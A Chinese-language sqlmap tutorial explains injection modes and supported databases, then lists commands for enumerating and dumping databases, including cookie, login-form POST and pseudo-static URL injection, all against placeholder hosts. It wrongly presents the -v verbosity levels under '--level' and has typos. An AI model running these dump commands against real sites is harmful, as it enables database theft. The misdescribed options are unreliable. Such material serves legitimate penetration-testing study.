sqlmap之(二)----注入前奏
1.sqlmap支持的注入模式
sqlmap支持五种不同的注入模式:
1、基于布尔的盲注: 即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注: 即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入: 即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入: 可以使用union的情况下的注入。
5、堆查询注入: 可以同时执行多条语句的执行时的注入。
2.sqlmap支持注入的数据库
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
3.注入的一个流程
给sqlmap一个url的时候,它会:
1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据
url可以提供一个简单的URL,Burp或WebScarab请求日志文件,文本文档中的完整http请求或者Google的搜索,匹配出结果页面,也可以自己定义一个正则来判断那个地址去测试。测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,它也可以指定用逗号分隔的列表的具体参数来测试。
还可以设定HTTP(S)请求的并发数,来提高盲注时的效率。
4.sqlmap运行的级别--level
sqlmap中共有七个等级,默认等级为1
0、只显示Python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
等级是指测试结果的输出的详细程度,根据测试,--level等级的提高得到的效果远比-v等级提高得到的效果好,如果你想看到sqlmap发送的测试payload最好的等级就是3。
5.对各种注入的一些基本步骤
1.sqlmap注入拖库常用命令
- sqlmap.py -u “注入地址” -v 1 --dbs // 列举数据库
- sqlmap.py -u “注入地址” -v 1 --current-db // 当前数据库
- sqlmap.py -u “注入地址” -v 1 --users // 列数据库用户
- sqlmap.py -u “注入地址” -v 1 --current-user // 当前用户
- sqlmap.py -u “注入地址” -v 1 --tables -D “数据库” // 列举数据库的表名
- sqlmap.py -u “注入地址” -v 1 --columns -T “表名” -D “数据库” // 获取表的列名
- sqlmap.py -u “注入地址” -v 1 --dump -C “字段,字段” -T “表名” -D “数据库” // 获取表中的数据,包含列
2.access注入
- 1.输入url
- 2.url --tables 猜表
- 3 url--columns -T 表名 暴字段
- 4.url --dump(脱裤) -T 表名 -C "字段名" 暴内容
3.mysql注入
- url --current-db当前库
- url --current-user当前用户
- url --dbs 获得数据库
- url -D 数据库 --tables 获得表
- url -D 数据库 -T 表名 --columns 暴字段
- url -D 数据库 -T 表名 -C 字段 --dump 暴内容
4.cookie注入
- url --cookie "id=" --table --level 2 暴表
- url --cookie "id=" --columns -T 表名 --level 2 获得字段
- url --cookie "id=" --dump -T 表名 -C "字段名" --level 2 获得内容
5.POST登陆框注入
注入点:
http://xxx.xxx.com/Login.asp
注入方式一:
1.对着注入点使用burp抓包,保存txt格式文件。
2.输入命令:sqlmap.py -r search-test.txt -p tfUPass
注入方式二:自动搜索表单的方式
- sqlmap -u http://www.xxx.com/Login.asp --forms
注入方式三:指定一个参数的方法
- sqlmap -u http://www.xxx.com/Login.asp --data "tfUName=1&tfUPass=1"
6.cookie注入
单个注入
- sqlmap -u “http://www.xxx.com/index.php” –cookie “id=1″ –dbs –level 2
- sqlmap -u “http://www.xxx.com/index.php” –cookie “id=” –clumns -T 表段 –level 2
- sqlmap -u “http://www.xxx.com/index.php” –cookie “id=” –dump -T 表段 -C “user,pass” –level 2
7.伪静态注入
目标站点:http://www.xxxx.com/id/3-1.html
- sqlmap -u www.xxxx.com/id/3*.html –dbs
8.请求延时注入
- sqlmap –dbs -u usr –delay 1(时间,可随意)
- sqlmap –dbs -u usr –safe-freq 1(次数,可随意)